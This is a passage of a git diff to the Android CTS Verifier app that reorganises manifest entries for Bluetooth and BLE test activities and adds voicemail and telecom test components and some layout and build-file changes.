-                android:configChanges="keyboardHidden|orientation|screenSize">
+        <activity
+            android:name=".bluetooth.BluetoothToggleActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_toggle_bluetooth" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
-            <meta-data android:name="test_required_features"
-                       android:value="android.hardware.bluetooth_le"/>
-         </activity>
 
-        <activity android:name=".bluetooth.BleAdvertiserPowerLevelActivity"
-                android:label="@string/ble_power_level_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BleAdvertiserTestActivity" />
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_control" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_excluded_features"
+                android:value="android.software.leanback" />
         </activity>
 
-        <!-- Comment out until we have a better way to validate the hardware scan filter
-        <activity android:name=".bluetooth.BleAdvertiserHardwareScanFilterActivity"
-                android:label="@string/ble_advertiser_scan_filter_name"
-                android:configChanges="keyboardHidden|orientation|screenSize">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/bt_le" />
-            <meta-data android:name="test_parent" android:value="com.android.cts.verifier.bluetooth.BleAdvertiserTestActivity" />
-        </activity>
+        <!--
+             CTS Verifier Bluetooth Secure Server Test Screen
+                 test category : bt_device_communication
+                 test parent : BluetoothTestActivity
         -->
+        <activity
+            android:name=".bluetooth.SecureServerActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_secure_server" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_device_communication" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+        </activity>
+
+        <!--
+             CTS Verifier Bluetooth Insecure Server Test Screen
+                 test category : bt_device_communication
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.InsecureServerActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_insecure_server" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_device_communication" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+        </activity>
+
+        <!--
+             CTS Verifier Bluetooth Secure Client Test Screen
+                 test category : bt_device_communication
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.SecureClientActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_secure_client" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_device_communication" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+        </activity>
+
+        <!--
+             CTS Verifier Bluetooth Insecure Client Test Screen
+                 test category : bt_device_communication
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.InsecureClientActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_insecure_client" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_device_communication" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+        </activity>
+
+        <!--
+             CTS Verifier Bluetooth Connection Access Server Test Screen
+                 test category : bt_device_communication
+                 test parent : BluetoothTestActivity
+        -->
+        <!-- ********************* NOT MANUAL TEST! ******************** -->
+        <activity
+            android:name=".bluetooth.ConnectionAccessServerActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_connection_access_server" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_device_communication" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+        </activity>
+
+        <!--
+             CTS Verifier Bluetooth Connection Access Client Test Screen
+                 test category : bt_device_communication
+                 test parent : BluetoothTestActivity
+        -->
+        <!-- ********************* NOT MANUAL TEST! ******************** -->
+        <activity
+            android:name=".bluetooth.ConnectionAccessClientActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_connection_access_client" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_device_communication" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+        </activity>
+        <activity
+            android:name=".bluetooth.DevicePickerActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/bt_device_picker" />
+
+<!--
+     *****************************************************************************************
+     **                          Begin BLE Test Sub Layer Info                            ****
+     *****************************************************************************************
+        -->
+        <!-- CTS Verifier BLE Client Test Service -->
+        <service android:name=".bluetooth.BleClientService" />
+        <!-- CTS Verifier BLE Server Test Service -->
+        <service android:name=".bluetooth.BleServerService" />
+
+        <!-- CTS Verifier BLE Advertiser Test Service -->
+        <service android:name=".bluetooth.BleAdvertiserService" />
+        <!-- CTS Verifier BLE Scanner Test Service -->
+        <service android:name=".bluetooth.BleScannerService" />
+
+        <!-- CTS Verifier BLE Server Connection Priority Test Service -->
+        <service android:name=".bluetooth.BleConnectionPriorityServerService" />
+        <!-- CTS Verifier BLE Client Connection Priority Test Service -->
+        <service android:name=".bluetooth.BleConnectionPriorityClientService" />
+
+        <!-- CTS Verifier BLE Client Encrypted Test Service -->
+        <service android:name=".bluetooth.BleEncryptedClientService" />
+
+        <!-- CTS Verifier BLE Server Encrypted Test Service -->
+        <service android:name=".bluetooth.BleEncryptedServerService" />
+
+        <!--
+             =================================================================================
+             ==                     BLE Insecure Client Test Info                           ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE Insecure Client Test Top Screen
+                test category : bt_le
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_insecure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+
+        <!--
+             CTS Verifier BLE Insecure Client Test List Screen
+                 test category : bt_le
+                 test parent : BleInsecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleInsecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Insecure Client Connection Priority Test Screen
+                test category : bt_le
+                test parent : BleInsecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureConnectionPriorityClientTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_connection_priority_client_name"
+            android:windowSoftInputMode="stateAlwaysHidden" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleInsecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+           CTS Verifier BLE Insecure Client Encrypted Test Screen
+               test category : bt_le
+               test parent : BleInsecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureEncryptedClientTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_encrypted_client_name"
+            android:windowSoftInputMode="stateAlwaysHidden" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleInsecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              =================================================================================
+              ==                     BLE Insecure Server Test Info                           ==
+              =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Insecure Server Test Top Screen
+                 test category : bt_le
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_insecure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+              CTS Verifier BLE Insecure Server Test List Screen
+                  test category : bt_le
+                  test parent : BleInsecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleInsecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Insecure Server Connection Priority Test Screen
+                test category : bt_le
+                test parent : BleInsecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureConnectionPriorityServerTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_connection_priority_server_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleInsecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+           CTS Verifier BLE Insecure Server Encrypted Test Screen
+               test category : bt_le
+               test parent : BleInsecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleInsecureEncryptedServerTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_encrypted_server_name"
+            android:windowSoftInputMode="stateAlwaysHidden" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleInsecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
+             ==                      BLE Secure Client Test Info                            ==
+             =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Secure Client Test Top Screen
+                 test category : bt_le
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureClientTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_secure_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             CTS Verifier BLE Secure Client Test List Screen
+                 test category : bt_le
+                 test parent : BleSecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureClientStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_client_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleSecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Secure Client Connection Priority Test Screen
+                test category : bt_le
+                test parent : BleSecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureConnectionPriorityClientTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_connection_priority_client_name"
+            android:windowSoftInputMode="stateAlwaysHidden" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleSecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+           CTS Verifier BLE Secure Client Encrypted Test Screen
+               test category : bt_le
+               test parent : BleSecureClientTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureEncryptedClientTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_encrypted_client_name"
+            android:windowSoftInputMode="stateAlwaysHidden" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleSecureClientTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
+             ==                      BLE Secure Server Test Info                            ==
+             =================================================================================
+        -->
+        <!--
+             CTS Verifier BLE Secure Server Test Top Screen
+                 test category : bt_le
+                 test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureServerTestListActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_secure_server_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Secure Server Test List Screen
+                test category : bt_le
+                test parent : BleSecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureServerStartActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_server_start_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleSecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Secure Server Connection Priority Test Screen
+                test category : bt_le
+                test parent : BleSecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureConnectionPriorityServerTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_connection_priority_server_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleSecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+           CTS Verifier BLE Secure Server Encrypted Test Screen
+               test category : bt_le
+               test parent : BleSecureServerTestListActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleSecureEncryptedServerTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_encrypted_server_name"
+            android:windowSoftInputMode="stateAlwaysHidden" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleSecureServerTestListActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+             =================================================================================
+             ==                      BLE Scanner Test Info                            ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE Client Scanner Screen
+                test category : bt_le
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleScannerTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_scanner_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Scanner PowerLevel Test Screen
+                test category : bt_le
+                test parent : BleScannerTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleScannerPowerLevelActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_power_level_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleScannerTestActivity" />
+        </activity>
+
+
+        <!--
+             =================================================================================
+             ==                      BLE Advertiser Test Info                            ==
+             =================================================================================
+        -->
+        <!--
+            CTS Verifier BLE Advertiser Screen
+                test category : bt_le
+                test parent : BluetoothTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleAdvertiserTestActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_advertiser_test_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BluetoothTestActivity" />
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.bluetooth_le" />
+        </activity>
+
+        <!--
+            CTS Verifier BLE Advertiser PowerLevel Test Screen
+                test category : bt_le
+                test parent : BleAdvertiserTestActivity
+        -->
+        <activity
+            android:name=".bluetooth.BleAdvertiserPowerLevelActivity"
+            android:configChanges="keyboardHidden|orientation|screenSize"
+            android:label="@string/ble_power_level_name" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/bt_le" />
+            <meta-data
+                android:name="test_parent"
+                android:value="com.android.cts.verifier.bluetooth.BleAdvertiserTestActivity" />
+        </activity>
+
 
         <activity android:name=".security.FingerprintBoundKeysTest"
                 android:label="@string/sec_fingerprint_bound_key_test"
@@ -2170,6 +2753,50 @@
             </intent-filter>
         </activity-alias>
 
+        <activity android:name=".voicemail.VoicemailBroadcastActivity"
+          android:label="@string/voicemail_broadcast_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+                <data android:scheme="tel" />
+            </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.DIAL" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_telephony"/>
+        </activity>
+
+        <receiver android:name=".voicemail.VoicemailBroadcastReceiver">
+            <intent-filter>
+                <action android:name="android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION" />
+            </intent-filter>
+        </receiver>
+
+        <activity
+            android:name=".telecom.EnablePhoneAccountTestActivity"
+            android:label="@string/telecom_enable_phone_account_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.cts.intent.category.MANUAL_TEST"/>
+            </intent-filter>
+
+            <meta-data
+                android:name="test_category"
+                android:value="@string/test_category_telecom"/>
+            <meta-data
+                android:name="test_required_features"
+                android:value="android.hardware.telephony"/>
+        </activity>
+
+        <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
+            android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
+            <intent-filter>
+                <action android:name="android.telecom.ConnectionService" />
+            </intent-filter>
+        </service>
     </application>
 
 </manifest>
diff --git a/apps/CtsVerifier/jni/verifier/Android.mk b/apps/CtsVerifier/jni/verifier/Android.mk
index f227ff3..e0d925c 100644
--- a/apps/CtsVerifier/jni/verifier/Android.mk
+++ b/apps/CtsVerifier/jni/verifier/Android.mk
@@ -33,9 +33,7 @@
 LOCAL_SHARED_LIBRARIES := liblog \
 		libnativehelper_compat_libc++
 
-LOCAL_CXX_STL := libstdc++
-
-LOCAL_CXX_STL := libstdc++
+LOCAL_CFLAGS := -Wno-unused-parameter
 
 include $(BUILD_SHARED_LIBRARY)
 
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index 187e8d2..fe6f00f 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -43,3 +43,4 @@
 -dontwarn org.opencv.**
 -dontwarn android.support.test.internal.runner.hidden.ExposedInstrumentationApi
 
+-dontwarn java.lang.management.**
diff --git a/apps/CtsVerifier/res/layout-round/provisioning_byod.xml b/apps/CtsVerifier/res/layout-round/provisioning_byod.xml
new file mode 100644
index 0000000..d2b6e0e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout-round/provisioning_byod.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?><!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<android.support.v4.widget.NestedScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/main_layout"
+    style="@style/RootLayoutPadding"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:orientation="vertical">
+        <TextView
+            android:id="@+id/test_instructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:padding="10dip"/>
+        <Button
+            android:id="@+id/prepare_test_button"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+        <ListView
+            android:id="@+id/android:list"
+            android:layout_width="match_parent"
+            android:layout_height="0dip"
+            android:layout_weight="3"/>
+        <include layout="@layout/pass_fail_buttons"/>
+    </LinearLayout>
+</android.support.v4.widget.NestedScrollView>
diff --git a/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml b/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml
index 40c1ad3..1c5e448 100644
--- a/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml
+++ b/apps/CtsVerifier/res/layout-small/policy_transparency_test.xml
@@ -14,75 +14,69 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/root_view"
-    style="@style/RootLayoutPadding"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:descendantFocusability="beforeDescendants"
-    android:focusableInTouchMode="true"
-    android:orientation="vertical">
-    <ScrollView
+        android:id="@+id/root_view"
+	style="@style/RootLayoutPadding"
+        android:orientation="vertical"
         android:layout_width="match_parent"
-        android:layout_height="match_parent">
-        <LinearLayout
+        android:layout_height="match_parent"
+        android:descendantFocusability="beforeDescendants"
+        android:focusableInTouchMode="true">
+    <ScrollView
             android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:orientation="vertical">
-            <TextView
+            android:layout_height="match_parent">
+	<LinearLayout
+		android:layout_width="match_parent"
+		android:layout_height="match_parent"
+		android:orientation="vertical">
+        <TextView
                 android:id="@+id/test_instructions"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
                 android:textSize="12dip"/>
 
-            <LinearLayout
+    <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"
+            android:paddingTop="8dp">
+        <TextView android:id="@+id/widget_label"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
-                android:orientation="vertical"
-                android:paddingTop="8dp">
-                <TextView
-                    android:id="@+id/widget_label"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="8dp"
-                    android:paddingStart="16dp"
-                    android:textSize="12dip"/>
-                <Switch
-                    android:id="@+id/switch_widget"
-                    android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:visibility="gone"/>
-                <EditText
-                    android:id="@+id/edit_text_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:ems="6"
-                    android:gravity="center"
-                    android:singleLine="true"
-                    android:visibility="gone"/>
-                <Button
-                    android:id="@+id/update_button"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:paddingEnd="16dp"
-                    android:paddingStart="8dp"
-                    android:text="@string/policy_transparency_update_button_label"
-                    android:visibility="gone"/>
-                <Spinner
-                    android:id="@+id/spinner_widget"
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:visibility="gone"/>
-            </LinearLayout>
-
-            <Button
-                android:id="@+id/open_settings_button"
+                android:textSize="12dip"
+                android:paddingStart="16dp"
+                android:paddingEnd="8dp" />
+        <Switch android:id="@+id/switch_widget"
                 android:layout_width="match_parent"
                 android:layout_height="wrap_content"
